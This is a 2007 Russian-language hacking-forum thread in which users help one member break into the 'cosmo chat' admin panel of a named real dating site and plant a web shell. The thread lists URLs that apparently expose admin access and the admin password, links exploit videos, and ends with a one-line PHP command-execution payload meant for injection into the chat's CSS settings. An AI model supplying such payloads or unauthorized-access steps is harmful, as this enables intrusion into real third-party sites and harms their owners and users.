Чаты cosmo-chat, залить шелл через админку

Discussion in 'Веб-уязвимости' started by miniden, 23 Mar 2007.

  1. miniden

    miniden Elder - Старейшина

    Joined:
    20 Oct 2006
    Messages:
    261
    Likes Received:
    33
    Reputations:
    5
    можно ли через админку космо чата залить шел?
     
  2. Антошка2003

    Антошка2003 Elder - Старейшина

    Joined:
    3 Apr 2005
    Messages:
    535
    Likes Received:
    66
    Reputations:
    49
    ссылку
     
  3. miniden

    miniden Elder - Старейшина

    Joined:
    20 Oct 2006
    Messages:
    261
    Likes Received:
    33
    Reputations:
    5
    да хоть вот этот http://www.dateforyou.ru/chat/, причом тут ссылка, вопрос то можно ли шел залить
     
  4. Антошка2003

    Антошка2003 Elder - Старейшина

    Joined:
    3 Apr 2005
    Messages:
    535
    Likes Received:
    66
    Reputations:
    49
    http://www.dateforyou.ru/chat/admin.php?status=admin
    попробуй, вдруг чем то поможет.
     
  5. miniden

    miniden Elder - Старейшина

    Joined:
    20 Oct 2006
    Messages:
    261
    Likes Received:
    33
    Reputations:
    5
    такую шнягу мы знаем, а вот как шел залить
     
  6. Fr-Ron

    Fr-Ron Elder - Старейшина

    Joined:
    10 Sep 2006
    Messages:
    184
    Likes Received:
    72
    Reputations:
    13
    http://video.antichat.ru/file140.html
    http://video.antichat.ru/file130.html
     
  7. miniden

    miniden Elder - Старейшина

    Joined:
    20 Oct 2006
    Messages:
    261
    Likes Received:
    33
    Reputations:
    5
    это я тож знал, а вот первая ссылочка посложнее, этот баг чтото у меня невыходит применить, а через админку что вообще никак шел не заливаеться?
     
  8. Антошка2003

    Антошка2003 Elder - Старейшина

    Joined:
    3 Apr 2005
    Messages:
    535
    Likes Received:
    66
    Reputations:
    49
    http://dateforyou.ru/chat/showusers.php?status=admin
    бери пасс админа и пробуй, может куда то подойдёт
     
  9. miniden

    miniden Elder - Старейшина

    Joined:
    20 Oct 2006
    Messages:
    261
    Likes Received:
    33
    Reputations:
    5
    взял, тыкал уже куда попало некуда не льеться
     
  10. miniden

    miniden Elder - Старейшина

    Joined:
    20 Oct 2006
    Messages:
    261
    Likes Received:
    33
    Reputations:
    5
    там есть
    Настройки Css-стиля:
    мож можно в стилях прописать чтонить что сделает инклуд, или как нить через эти настрорйки как нить еще можно?
     
  11. DRON-ANARCHY

    DRON-ANARCHY Отец порядка

    Joined:
    4 Mar 2005
    Messages:
    721
    Likes Received:
    142
    Reputations:
    50
    стиль не даст тебе инклуд скорее всего...
    хотя попробовать мона...
    напиши туда php-код типа <? system($_GET['cmd'])?>
    и посмари выполняются ли команды
     
Loading...
Similar Threads - cosmo chat залить
  1. Gen1rus
    Replies:
    0
    Views:
    1,798
  2. miniden
    Replies:
    6
    Views:
    1,892
  3. _kREveDKo_
    Replies:
    0
    Views:
    2,946
  4. Guma
    Replies:
    4
    Views:
    8,593